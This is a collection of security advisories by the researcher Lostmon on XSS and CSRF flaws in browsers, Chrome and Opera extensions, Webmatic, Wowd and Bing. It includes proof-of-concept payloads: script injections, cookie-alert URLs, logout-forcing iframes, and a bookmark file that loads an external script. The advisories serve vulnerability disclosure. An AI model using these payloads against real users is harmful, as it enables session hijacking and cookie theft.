Opera browser Speed dial Extensions XSS and CSRF

########################################
Opera Browser Speed Dial Extensions XSS and XSRF
Original advisore: http://lostmon.blogspot.com.es/2013/08/opera-browser-speed-dial-extensions-xss.html
########################################

############
Description:
############

Speed Dial gives you quick access to your favorite Web sites. Every time you open a new tab, you are presented with a 3x3 grid of thumbnails, each representing a Web address. To open a page, click on the corresponding thumbnail, or use the keyboard shortcuts. http://help.opera.com/Mac/10.50/en/speeddial.html

#########
Abstract
#########

Developers Build Extensions for fast access to web services like
Gmail, Flirk or Facebook.

Speed dial "protect users" to direct XSS attacks, but the extensions used in Speed ??Dial, are not free of bugs and some of them are not safe. A remote attacker could compose special attacks, for abusing the  functionality of these extensions in Speed Dial.


####################
Extensions for Gmail
####################

This two extenions show latest unread Emails from Gmail and are prone vulnerables to XSS & CSRF style atacks.

######
XSS:
######

If a attacker write a Email and in subject insert a html code it is executed in the extension.


















######
XSRF:
######

If a attacker compose a Email with subject like
 "><iframe src="https://mail.google.com/mail/?logout&hl=es"<>/iframe>
when the extension refresh content, it cause victim logout function.


https://addons.opera.com/es/extensions/details/gmail-on-speed-dial-ex/
https://addons.opera.com/es/extensions/details/gmail-on-speed-dial/

##############################
Extensions for Google Calendar
##############################

This Two extensions Show reminders and events from Google Calendar
and are prone vulnerables to XSS & CSRF style attacks

######
XSS:
######

If a attacker write a event in a shared calendar and in subject insert a html code it is executed in the extension.



######
XSRF:
######

If a attacker a event in a shared calendar with subject like
 "><iframe src="https://www.google.com/calendar/logout"<>/iframe>
when the extension refresh content, it cause victim logout function.


https://addons.opera.com/es/extensions/details/google-calendar/
https://addons.opera.com/es/extensions/details/gcaltoday/

################
Related Links
################

http://lostmon.blogspot.com.es/2010/09/google-chrome-instaled-extensions.html
http://www.osvdb.org/search?search[vuln_title]=lostmon%20extension&search[text_type]=alltext
http://www.oxdef.info/posts/2011/01/18/chrome-ext/
http://www.pcmag.com/article2/0,2817,2359778,00.asp


############## End ########################

##################
Solution
###################

No solution was available at this time !!!

 ################ €nd ####################

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente.... 

Arora qrc: dialog XSS and DoS

########################################
Arora qrc: dialog XSS and DoS
Vendor URL:http://code.google.com/p/arora/
Advisore: http://lostmon.blogspot.com.es/2012/07/arora-qrc-dialog-xss-and-dos.html
Vendor notify:NO  exploit available:yes
#######################################

Arora is a lightweight cross-platform web browser. It's free (as in free speech and free beer).
Arora runs on Linux, embedded Linux, FreeBSD, Mac OS X, Windows, Haiku, and any other platforms
supported by the Qt toolkit.

Arora uses the QtWebKit port of the fully standards-compliant WebKit layout engine.
It features fast rendering, powerful JavaScript engine and supports Netscape plugins.

Arora contains a two flaws that allows a remote cross site scripting (XSS) attack and DoS.

This flaw exists because the application does not validate the qrc: Uri dialog and
internal error pages. This may allow a user to create a specially crafted Link/url that
would execute arbitrary script code in a user's browser within the trust relationship
between their browser and the qrc handler ( local ).

Also Arora has a second flaw that allow Denial of service or app to crash in a special link.


#################
Proof of Concept
#################

create a html doc and write this code, click in the link and it execute
the xss and if accept the alert box, the app crash :)
 <html><body>
<a href='qrc:/"><script>alert('Sorry, Now Your App Crash!');</script>'>Arora about: handler XSS</a>
</body></html>

################
Versions afected
################

Arora 0.10.0 Windows Qt 4.5.3

##################
Solution
###################

No solution was available at this time !!!

 ################ €nd ####################

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

GreenBrowser About: dialog XSS and stored XSS

########################################
GreenBrowser About: dialog XSS and stored XSS
Vendor URL:http://www.morequick.com/
advisore: http://lostmon.blogspot.com/2012/03/greenbrowser-about-dialog-xss-and.html
Vendor notify:NO  exploit available:yes
#######################################

GreenBrowser is your best choice of flexible and powerful green web browser. GreenBrowser is free to download and use.

GreenBrowser contains a two flaws that allows a remote cross site scripting (XSS) attack. This flaw exists because the application does not validate the about: Uri dialog and last visited pages. This may allow a user to create a specially crafted URL that would execute arbitrary script code in a user's browser within the trust relationship between their browser and the server.

Also the browser save the last URL visited and then, if a user create a crafted link and clin in, it is a stored XSS because when open the browser by default it open http://www.5igb.com/StartEn.htm and it have the last visited URL... The xss is executed in this URL :) page and browser not validate LastVisitWriteEn() before render to the user.

You can see this function here => http://www.5igb.com/function.js

#################
Proof of Concept
 #################

create a html doc and write this code, click in the link and it execute the xss close the browser and open it again, in last visit pages we have the url of PoC and it executes the stored XSS

 <html><body>
<a href='about:"><script>alert(1)</script>'>GreenBrowser about: handler XSS</a>
</body></html>

 ################
Versions afected
 ################

6.1.0117 (2012-01-17 10:22:02)
 6.1.0216 (2012-02-16 21:37:10)

 ##################
Solution
 ###################

No solution was available at this time !!!

 ################ €nd ####################

-- 
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Multiple vulnerabilities in Flock Browser 3.0.0.3989

#########################################
Multiple vulnerabilities in Flock Browser 3.0.0.3989
Vendor URL: http://beta.flock.com/
Vendor Advisores: http://www.flock.com/security/
Advisore:http://lostmon.blogspot.com/2011/03/multiple-vulnerabilities-in-flock.html
Vendor notify:YES exploits availables:YES
#########################################

Some stuff that i don't have published before , because i don't have time , i'm studing and i need time to read books and study.

Flock is faster, simpler, and more friendly. Literally. It's the only sleek, modern web browser with the built-in ability to keep you up-to-date with your Facebook and Twitter friends. This browser version (3.0.0.3989) is based in a old chromium project (5.0.375.75) and has multiple bugs imported from chrome and his owns bugs :) 
I have contributed in secure Flock browser, i have tested version with google chrome  base.
I have do a list with all issues that i found and Flock Team has release some advisores about it time after.

###############
TODO LIST / Bugs
###############

1.  Inspector window attributes script injection chrome bug 31590
2.  XSS in search engine in chrome://history/ chrome bug 13760( not exploitable from remote attackers ) (chrome://history/#q="><iframe src=javascript:alert(1)>&p=0)
3.  XSS in search box in favorites page ( chrome-extension://flock_people/favorites.html#p=1&v=all&o=0&s=title)(not explotable from remote attackers)
4.  XSS in search engine extension when paste in url (chrome-extension://flock_people/search.html)( persistent xss)(not exploiable from remote attackers)
5.  XSS in social extension when try to login in facebook or twiter or youtube (not exploitable from remote attackers)
6.  XSS in rss vienwer in search box chrome-extension://flock_people/feed_viewer.html?http://path_to_rss ( not exploitable from remote attackers)
7.  XSS in rss viewner when render xml from remote host if the entry has html it is executed when view the news across flock rss viewner(exploitable via remote sites) (see for example my feed => chrome-extension://flock_people/feed_viewer.html?http://lostmon.blogspot.com/atom.xml) and them if you type in search box for example " or < it executes again the xss stored in xml file :) 
8. window.open() Method Javascript Same-Origin Policy Violation chrome bug 30660  
9. url with a leading NULL byte can bypass cross origin protection Chrome bug 37383

###########################
Advisores from Flock developers
###########################
FLOCK-SA-2010-04

Title: window.open() Method Javascript Same-Origin Policy Violation (XSS)
Impact: High
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4094
CVEs (cve.mitre.org): CVE-2010-0661
Details:
WebCore/bindings/v8/custom/V8DOMWindowCustom.cpp in WebKit before r52401, as used in Google Chrome before 4.0.249.78, allows remote attackers to bypass the Same Origin Policy via vectors involving the window.open method.

Credit to Tokuji Akamine, Senior Consultant at Symantec Consulting Services (for Chromium) and Lostmon Lords (for Flock).
References: https://bugs.webkit.org/show_bug.cgi?id=32647
http://code.google.com/p/chromium/issues/detail?id=30660

FLOCK-SA-2010-03

Title: javascript: url with a leading NULL byte can bypass cross origin protection (XSS)
Impact: High
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4112
CVEs (cve.mitre.org): CVE-2010-1236

Details:
A javascript: url with a leading NULL byte can bypass cross origin protection,
which has unspecified impact and remote attack vectors.

Credit to kuzzcc (for Chromium) and Lostmon Lords (for Flock).
References: https://bugs.webkit.org/show_bug.cgi?id=35948
http://code.google.com/p/chromium/issues/detail?id=37383

FLOCK-SA-2010-02

Title: A malicious RSS feed can bypass cross origin protection (XSS)
Impact: High
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4114
CVEs (cve.mitre.org): CVE-2010-3262

Details:
A malicious RSS feed containg HTML when viewed can bypass cross-origin protection,
which has unspecified impact and remote attack vectors.
Credit to Lostmon Lords.

FLOCK-SA-2010-01

Title: A malformed favourite can bypass cross origin protection (XSS)
Impact: Moderate
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4094
CVEs (cve.mitre.org): CVE-2010-3202
Details:
A malformed favourite imported from an HTML file, imported from another browser,
or manually created can bypass cross-origin protection, which has unspecified impact
and attack vectors.
Credit to Lostmon Lords.
References: http://www.securityfocus.com/archive/1/513214
################################################

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Flock Browser 3.0.0.3989 Malformed Bookmark XSS

#########################################
Flock Browser 3.0.0.3989 Malformed Bookmark XSS
Vendor URL: http://beta.flock.com/
Advisore: http://lostmon.blogspot.com/2010/08/flock-browser-3003989-malformed.html
Vendor notify:NO exploits availables:YES
#########################################

Flock is faster, simpler, and more friendly. Literally.
It's the only sleek, modern web browser with the built-in
ability to keep you up-to-date with your Facebook and Twitter
friends.This browser version (3.0.0.3989) is based in a old
chromium project


Flock has a flaw that allows Cross-site scripting style attacks
In bookmarks is has a Malformed bookmark title persistent xss
when inport from other browsers a malformed bookmark or when add
a new malformed bookmark or import a bookmark html file.

###############################
Example Of Bookmark html file
###############################

<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
     It will be read and overwritten.
     DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Menú Marcadores</H1>
<DL><p>
<DT><A HREF="http://www.mozilla.org" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">&quot;&gt;&lt;script src='http://vuln.xssed.net/thirdparty/scripts/ckers.org.js'&gt;</A>
</DL><p>

#####################EOF##################

 It is a persintent script insercion and when the user click in the menu for view
favorites page or access directly to favorites url  this make a "defacement" of this page and them the user can´t access to favorites :)
( Url of favorites => chrome-extension://flock_people/favorites.html#p=1&v=all&o=0&s=title )

 ################# €nd #######################

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Google Services Notifier Chrome extension XSS/CSRF

######################################
Google Services Notifier Chrome extension XSS/CSRF
extension:https://chrome.google.com/extensions/detail/dmgbflokapnkfnegeigclohhplnflgie
advisore:http://lostmon.blogspot.com/2010/06/google-services-notifier-chrome.html
Exploit available:yes vendor notify : NO
#######################################

So in this case "Notifier for Google Wave Chrome"
has a flaw that allow attackers to make XSS style attacks.

All extensions runs over his origin and no have way to altered data from extension
or get sensitive data like , email account or password etc..

if we look how many users have instaled this extension =>
https://chrome.google.com/extensions/detail/dmgbflokapnkfnegeigclohhplnflgie
109 users have instaled it (WoW)

############
explanation
############

Google Services Notifier allows users to view wen they have a new wave and
view a preview of it ....

"Keep you update with Google services like Google Mail,Blogger,Reader,YouTube,
Google Docs, Google Wave etc. More services will be added soon."

If a attacker compose a new mail with html or javascript code in
subject & send it to victim´s the code is executed wen Victim´s click in the
extension to view a preview of mail.

So for exploit we need to compose a "special" mail
for example if we put directly in the mail subject a iframe like
"><iframe src="javascript:alert(location.href);"></iframe>
in the two cases the alert is executed wen try to preview the mail
with the extension :) it is executed in context location.href value is
"about:blank"

For example send a mail With a logout acction in google wave in body
"><iframe src="https://wave.google.com/wave/logout"></iframe>
it closes the sesion on google wave , this is a CSRF.

######################€nd#################################
.
Thnx for your time !!!
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Notifier for Google Wave Chrome extension XSS/CSRF

######################################
Notifier for Google Wave Chrome extension XSS/CSRF
extension:https://chrome.google.com/extensions/detail/aphncaagnlabkeipnbbicmcahnamibgb
advisore:http://lostmon.blogspot.com/2010/06/notifier-for-google-wave-chrome.html
Exploit available:yes vendor notify : NO
#######################################

So in this case "Notifier for Google Wave Chrome"
has a flaw that allow attackers to make XSS style attacks.

All extensions runs over his origin and no have way to altered data from extension
or get sensitive data like , email account or password etc..

if we look how many users have instaled this extension =>
https://chrome.google.com/extensions/detail/aphncaagnlabkeipnbbicmcahnamibgb
56,542 users have instaled it (WoW)

############
explanation
############

Notifier for Google Wave allows users to view wen they have a new wave and
view a preview of it ....

If a attacker compose a new wave with html or javascript code in
body & send it to victim´s the code is executed wen Victim´s click in the
extension to view a preview of wave.

So for exploit we need to compose a "special" wave
for example if we put directly in the mail body a iframe like
"><iframe src="javascript:alert(location.href);"></iframe>
in the two cases the alert is executed wen try to preview the wave
with the extension :) it is executed in context location.href value is
"about:blank"

For example send a wave With a logout acction in google wave in body
"><iframe src="https://wave.google.com/wave/logout"></iframe>
it closes the sesion on google wave , this is a CSRF.

######################€nd#################################
.

Thnx for your time !!!

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Gmail Checker plus Chrome extension XSS/CSRF II

######################################
Gmail Checker plus Chrome extension XSS/CSRF II
extension: https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe
advisore:http://lostmon.blogspot.com/2010/06/gmail-checker-plus-chrome-extension.html
Exploit available:yes vendor notify: NO
#######################################

So in this case "Google Mail Checker Plus" version 1.1.7 (2010-02-10)
has a flaw that allow attackers to make XSS style attacks.

All extensions runs over his origin and no have way to altered data from extension
or get sensitive data like , email account or password etc..

if we look how many users have instaled this extension =>
https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe
303,711 users have instaled it (WoW)

############
explanation
############

Google Mail Checker Plus allows users to view wen they have a new mail and
view a preview of the mail ....

If a attacker compose a new mail with html or javascript code in mail
body & send it to victim´s the code is executed wen Victim´s click in the
extension to view a preview of mail.

So for exploit we need to compose a "special" mail
for example if we put directly in the mail body a iframe like
"><iframe src="javascript:alert(location.href);"></iframe>
the extension shows this code in plain text and the alert isn´t executed...
them we need to use a Feature from gmail ( auto conver links in clicable urls)
them we can compose a email body with a http link like
http://"><iframe src="javascript:alert(location.href);"></iframe>
or compose a mail link like :
lalala@"><iframe src="javascript:alert(location.href);"></iframe>.com
in the two cases the alert is executed wen try to preview the email
with the extension :) it is executed in context location.href value is
"about:blank"


Gmail is a safe place , but the extensions to manage it, can be a potential
vector to attack.

For example send a email With a logout acction in gmail in body
http://"><iframe src="https://mail.google.com/mail/?logout&hl=es"></iframe>
it closes the sesion on gmail , this is a CSRF.
also if the user has mark option to show notifications on desktop this issue execute the iframe too in the desktop notifications window and can cause to a denial of service of extension, for example if the victim´s try to change any option in options page from extension :P

So we have dispute it in http://code.google.com/p/chromium/issues/detail?id=45401
The developer has release a patch version in trunk for other issues what i disclose before
see for references for previous vulns => OSVDB ID :65459 and OSVDB ID: 65460
previous patch =>
http://github.com/AndersSahlin/MailCheckerPlus/blob/54ab118e505feae819e676c8e525e8fe5409c981/src/mailaccount.class.js
and see diff => http://github.com/AndersSahlin/MailCheckerPlus/commit/54ab118e505feae819e676c8e525e8fe5409c981#diff-0

I release it as 0-day and no notify to vendor because
in the previous issues , he patch the vulns and don´t
make any reference to it and stealing credits on discover
Them i release this new vulns without notify developer :)

UPDATED :Now the extension in about secition reflects the vulnerability and credit it to me :)



######################€nd#################################
.

Thnx for your time !!!

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Gmail Checker plus Chrome extension XSS

######################################
Gmail Checker plus Chrome extension XSS
extension: https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe
advisore:http://lostmon.blogspot.com/2010/06/gmail-checker-plus-chrome-extension-xss.html
Exploit available:yes
#######################################

So in this case "Google Mail Checker Plus" version 1.1.7 (2010-02-10)
has a flaw that allow attackers to make XSS style attacks.

All extensions runs over his origin and no have way to altered data from extension or get sensitive data like , email account or password etc..

if we look how many users have instaled this extension =>
https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe
303,711 users have instaled it (WoW)

############
explanation
############

Google Mail Checker Plus allows users to view wen they have a new mail and
view a preview of the mail ....

if a attacker compose a new mail with html or javascript code in subject form field and send it to victim´s the code is executed wen Victim´s click in the extension to view the mail and wen victim´s accept the alert and view a preview of mail the iframe is executed too.

Gmail is a safe place , but the extension to manage it can be a potential
vector to attack it.

For example send a email With a logout acction in gmail in subject
"><iframe src="https://mail.google.com/mail/?logout&hl=es"></iframe>
it closes the sesion on gmmail , this is a XSRF , and , in the case what you say aa
it is executed in context and the location.href value is "about:blank"

So we have dispute it in http://code.google.com/p/chromium/issues/detail?id=45401
The developer has release a patch version in trunk =>
http://github.com/AndersSahlin/MailCheckerPlus/blob/54ab118e505feae819e676c8e525e8fe5409c981/src/mailaccount.class.js
please donload it and copy to your extension folder to solve it.

See Diff => http://github.com/AndersSahlin/MailCheckerPlus/commit/54ab118e505feae819e676c8e525e8fe5409c981#diff-0

######################€nd#################################
.

Thnx for your time !!!

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Webmatic 3.0.3 Multiple cross.site scripting

#################################
Webmatic 3.0.3 Multiple cross.site scripting
Vendor URL:http://www.valarsoft.com/
Advisore: http://lostmon.blogspot.com/2010/03/webmatic-303-multiple-crosssite.html
Vendor notified: YES
#################################

Webmatic contains a flaw that allows a remote cross site
scripting attack. This flaw exists because the application
does not validate multiple variables and form fields upon
submission to the 'index.php' script. This could allow a
user to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust relationship
between the browser and the server, leading to a loss of integrity.


##############
Versions
##############

valarsoft webmatic 3.0.3

It´s posible that prior versions
are afected


################
TimeLIne
##############

Discovered 13-01-2010
Vendor notify: 14-03-2010
vendor response:15-03-2010
Disclosure: 19-03-2010

###############
Private messages
################

Subject field form is vulnerable

a attacker can compose a PM with a malformed title
and it is executed wen the victims view his inbox
or open the PM.


#################
Forums
#################

Search field form ,filer variable
and title form field affected.

a attacker can compose a post with a malformed title
and wen a victim try to browse the forum the xss is
executed, also the attacker can compose a search url
with xss in filter variable or put the xss in search
form field to execute it.

##################
Chat room
###################

Nickname form field affected

a attacker can use a malformed nick name with xss and
wen he join in a channel the xss is executed in all
channel´s users.

######################
News
####################

Title form filed affected

a attacker can compose a new with a malformed title and
wen a user browse the news sections the xss is executed
also if the new has a "resume" in home page, all users
wen load the page are afected by xss.

pg variable affected

a attacker can compose a malformed URL in news sections and
insert some xss code in 'pg' variable , wen a victim clink in
this url the xss is executed.

#########################
banners section
#########################

Title and label form fields

A remote user can add a banner
with a malformed title or/and malformed label
wen the attacker visit his banner the xss is executed
in his own banner management.
Also if a victim visit this banner the xss is executed.

############################€ND#############################

Thns to estrella to be my ligth
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Google Chrome Frame null domain XSS

#####################################
Google Chrome Frame null domain XSS
vendor url:http://www.google.com/chromeframe
vendor changelog:http://googlechromereleases.blogspot.com/
2009/11/google-chrome-frame-update-bug-fixes.html
Advisore:http://lostmon.blogspot.com/
2009/11/google-chrome-frame-null-domain-xss.html
Vendor notify:yes Exploit available:YES
######################################


######################
Description by vendor
######################

Google Chrome Frame is a free plug-in for Internet Explorer.
Some advanced web apps, like Google Wave, use Google Chrome
Frame to provide you with additional features and better performance.

Google Chrome Frame is an early-stage open source
plug-in that seamlessly brings Google Chrome's open
web technologies and speedy JavaScript engine to
Internet Explorer.

################
version Afected
################

4.0.223.9 (Official Build 29618)
WebKit: 532.3
V8: 1.3.16
User Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.9 Safari/532.3

Not afected version:

4.0.245.1 (Official Build 31970)
WebKit: 532.5
V8: 1.3.18.6
User Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.245.1 Safari/532.5

you can find aditional information here:
http://googlechromereleases.blogspot.com/
2009/11/google-chrome-frame-update-bug-fixes.html

#####################
Cross Site scripting
#####################

Create a html document and some to test =>

<iframe src="javascript:alert(1)></iframe>
=> this opens the iframe and execute the alert
( this is correct)

<iframe src="cf:javascript:alert(1)></iframe>
this does not work , not show the alert ( correct)

and here is the flaw =>
<iframe src="cf:view-source:javascript:alert(1)></iframe>

This show & executed the alert it works on local & remote
scenario or via address bar too.
This bypassed cross-origin protections !!!

For google chrome browser test this
at the address bar =>
view-source:javascript:alert(1)

this execute the alert but recently google has made changes
in about:blank page and this issue is only exploitable
via address bar ,not in a iframe or frame or html document
so for that i think that this issue isn´t exploitable in a
remote scenario.

###########
crashes
###########

cf:view-source:about@: crash
cf:about@: => crashing the tab

##########
Solution
############

Google has automatic release a new version
of Chrome Frame 4.0.245.1 (Official Build 31970)
and this version is not afected.

#################€nd#############

Thnx to estrella To be mi ligth
Thnx To icar0 & sha0 from Badchecksum
Thnx To Google security Team

atentamente:
Security Research & Analisys.
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Wowd search client multiple variable xss

##########################################
Wowd search client multiple variable xss
Vendor URL: http://www.wowd.com/
Advisore:http://lostmon.blogspot.com/2009/10/
wowd-search-client-multiple-variable.html
Vendor notify:yes exploit available:yes
##########################################

################
What is Wowd?
################

Wowd is a real-time search engine for discovering
what's popular on the web right now.

In essence, the company has made a peer-to-peer
search engine powered by what other Wowd users
are looking at online rather than studying and
ranking sites based on an arcane link structure.
Taking search and breaking it into millions of
tiny pieces all run by individual users who have
downloaded the Wowd client completely changes
the operation -- and economics -- of a search
engine. The more times that someone in the Wowd
crowd clicks on a link within a recent time
frame, the higher the link's ranking.


##########################
Vulnerability description
##########################

Wowd client contains a flaw that allows a remote
cross site scripting attack.This flaw exists because
the application does not validate In the URI dialog
'sortby' 'tags' and 'ctx' variables upon submision to
'index.html' script. This could allow a user to create
a specially crafted URL that would execute arbitrary
code in a user's browser within the trust relationship
between the browser and the server,leading loss of integrity.

This issue can be dangerous , because if you are running
Wowd client , you have all of this vulnerabilities because
this issue can be exploited accross all browsers,
include ie8 with the XSS filter ( WoW ! )

#################
Versions
################·

Wowd client 1.3.0 vulnerable
Wowd client 1.3.1 Not vulnerable


#################
SOLUTION
#################

Upgrade to version 1.3.1 or higher, as it has been
reported to fix this vulnerability. An upgrade is
required as there are no known workarounds.


###################
Proof of Concept.
###################

#############
Test
#############

I test it in ie8, firefox 3.5.3 and safari 4

in all cases the xss is executed include ie8 with xss filter :D

a remote user can compose a html document
with a iframe and this source for the iframe:

http://localhost:8101/wowd/index.html?search&sortby=rank%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

the browser executes the xss ,if you access directly to
this url the xss is executed too.

aditionaly wen wowd show his results , we have a functionality
to add "tags" to a url.

Example:

http://localhost:8101/wowd/index.html?search&query=a&
sortby=rank&tags=english|S0B0707656E676C6973680D02

this shows a indexed search with tag 'english' we can add a
crafted tag that allow to execute a xss like:[tag]|[token]

example:

http://localhost:8101/wowd/index.html?search&query=a
&sortby=rank&tags=english|S0B0707656E676C6973680D02,
%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02

and it executed the xss in the tags labels.

ctx variable is also afected too

http://localhost:8101/wowd/index.html?search&page=2&q=
&sortby=rank&tags=news|S0807046E6577730D02&ctx=1995393737681%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E


############## €nd ###################

Thnx To estrella to be my light
Thnx to all Lostmon Team !
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
----------------------------------------------
Browser: Internet Explorer 8 (Windows)
Browser: Firefox 3.5 (Windows)
Browser: Safari 4 (Windows)

Bing.com WebmasterAuthenticationInformationPage.aspx XSS

###########################################
Bing.com WebmasterAuthenticationInformationPage.aspx XSS
vendor url:http://ww.bing.com
advisore:http://lostmon.blogspot.com/2009/08/
bingcom-webmasterauthenticationinformat.html
vendor notify: yes vendor confirmed:yes
###########################################

Bing search engine contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does not
validate properly 'authTag' variable upon submission to the
'WebmasterAuthenticationInformationPage.aspx' script.This could
allow a user to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust relationship
between the browser and the server,leading to a loss of integrity.


them a attacker can compose a malformed link in the variable
from WebmasterAuthenticationInformationPage.aspx and Look the
result code , it is write in two boxes and in the file
'LiveSearchSiteAuth.xml'

A remote user can compose a malformed link in the variable
from WebmasterXMLAuthDownloadPage.aspx ,wen download file
LiveSearchSiteAuth.xml this file have the malicious code.

#########
solution:
##########

Vendor patch

#############
timeline:
#############

discovered: 18-jun-2009
vendor notified: 07-08-2009
vendor response: 07-08-2009
vendor patch response: 13-08-2009
disclosure: 13-08-2009


################ End #####################

Thnx to Microsoft Security Response Center (MSRC)
http://blogs.technet.com/msrc/
thnx to estrella to be my ligth
thnx to all who day after day support me !!!
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente...

Internet explorer pwned Avant Browser

###########################################
Internet explorer pwned Avant Browser via
history Persistent XSS vulnerabilities
vendor url: http://www.avantbrowser.com/
Advisore: http://lostmon.blogspot.com/2009/08/
internet-explorer-pwned-avant-browser.html
vendor notify: NO exploit available: yes
############################################

#############
description
#############

Avant Browser´s user-friendly interface brings a new level
of clarity and efficiency to your browsing experience,and
frequent upgrades have steadily improved its reliability.
Avant Browser is freeware That's right. 100% Free!.

A recently vulnerability in Avant browser discovered by me
Can be exploit via history on ie8

Related Vuln =>

http://lostmon.blogspot.com/2009/07/
avant-browser-browserhome-persistent.html

###############
version tested
###############

Internet Explorer 8 (in xp home)

Avant Browser 11.7 build 35

#########
solution:
##########

Update to version 11.7 build 36
it is reported and tested that isn´t
vulnerable.

#############
timeline:
#############

discovered: 23-07-2009
disclosure: 03-08-2009

##################
testing
##################


http://lostmon.blogspot.com/2009/07/
avant-browser-browserhome-persistent.html

See this related vulnerability in avant browser.Now go
to exploit it across explorer , we know that the column
history is afected by a script insercion in browser:home
dinamicaly content.

If a user open explorer and try to navigate to a malicious
site like :
http://usuarios.lycos.es/reyfuss/id.php?id="><h1>Test html injection</h1>

For example if we Browse this url with avant browser =>
http://usuarios.lycos.es/reyfuss/id.php?id="><iframe src='http://www.google.com'></iframe>

The iframe does not executed correctly in history, but ,
close avant, browse the url with IE8 and them , open
avant browser ...the iframe now is executed correctly :D

Those url are saved in the explorer history, here is the
vulnerability, because Avant browser use IE8 web history
to show his own history in the browser:home history column,
them open avant browser and the html is executed in the history
colum and in most visited sites.

I don´t know if with the anty-xss filter in IE8 can protect
from a script attack but at this moment we can think that this
issue can have a html injection condition and a attacker can insert
a iframe...And this is other vector to attack Avant browser.

################ End #####################

thnx to estrella to be my ligth
thnx to Brink he is investigate with me.
thnx to all who day after day support me !!!
atentamente:
--
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente...

Orca Browser browser:home Persistent XSS vulnerability

###########################################
Orca Browser browser:home Persistent XSS vulnerability
vendor url: http://www.orcabrowser.com/
Advisore: http://lostmon.blogspot.com/2009/07/
orca-browser-browserhome-persistent-xss.html
vendor notify: NO exploit available: yes
############################################

#############
description
#############

Orca Browser´s user-friendly interface brings a new level
of clarity and efficiency to your browsing experience,and
frequent upgrades have steadily improved its reliability.
Avant Browser is freeware That's right. 100% Free!.

Orca Browser contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate properly the url links upon submission to the
bookmarks in browser:home page.
This could allow a user to create a specially crafted URL or a
bookmark that would execute arbitrary code in a user's browser
within the trust relationship between the browser and the server
wen try to load browser:home ,leading to a loss of integrity.

###############
version tested
###############

Avant Browser 1.2 build 2

#########
solution:
##########

Update to version 1.2. build 3
this version address this vulnerability.


#############
timeline:
#############

discovered: 23-jul-2009
disclosure: 30 jul 2009

##################
testing
##################

Demostration Video => http://www.spymac.com/details/?2417793

Open Orca Browser and by default the browser load
'browser:home' page. in this page we can view tree
columns , 1 top sites 2 history and 3 recent bookmarks.

Bookmarks column is vulnerable to a xss. let´s go
to demostrate.
I make a web page posible vulnerable to a xss condition

<?
$cmd=$_GET[id]
?>

I place a online doc for demo here =>
http://usuarios.lycos.es/reyfuss/id.php?id=

open Orca browser and navigate to

http://usuarios.lycos.es/reyfuss/id.php?id="><script>alert(1)</script>
click in bookmark Tool bar and click in new bookmark and add this url.

Load browser:home or close and open the browser , the script
is executed in bookmarks column.


################ End #####################

thnx to estrella to be my ligth
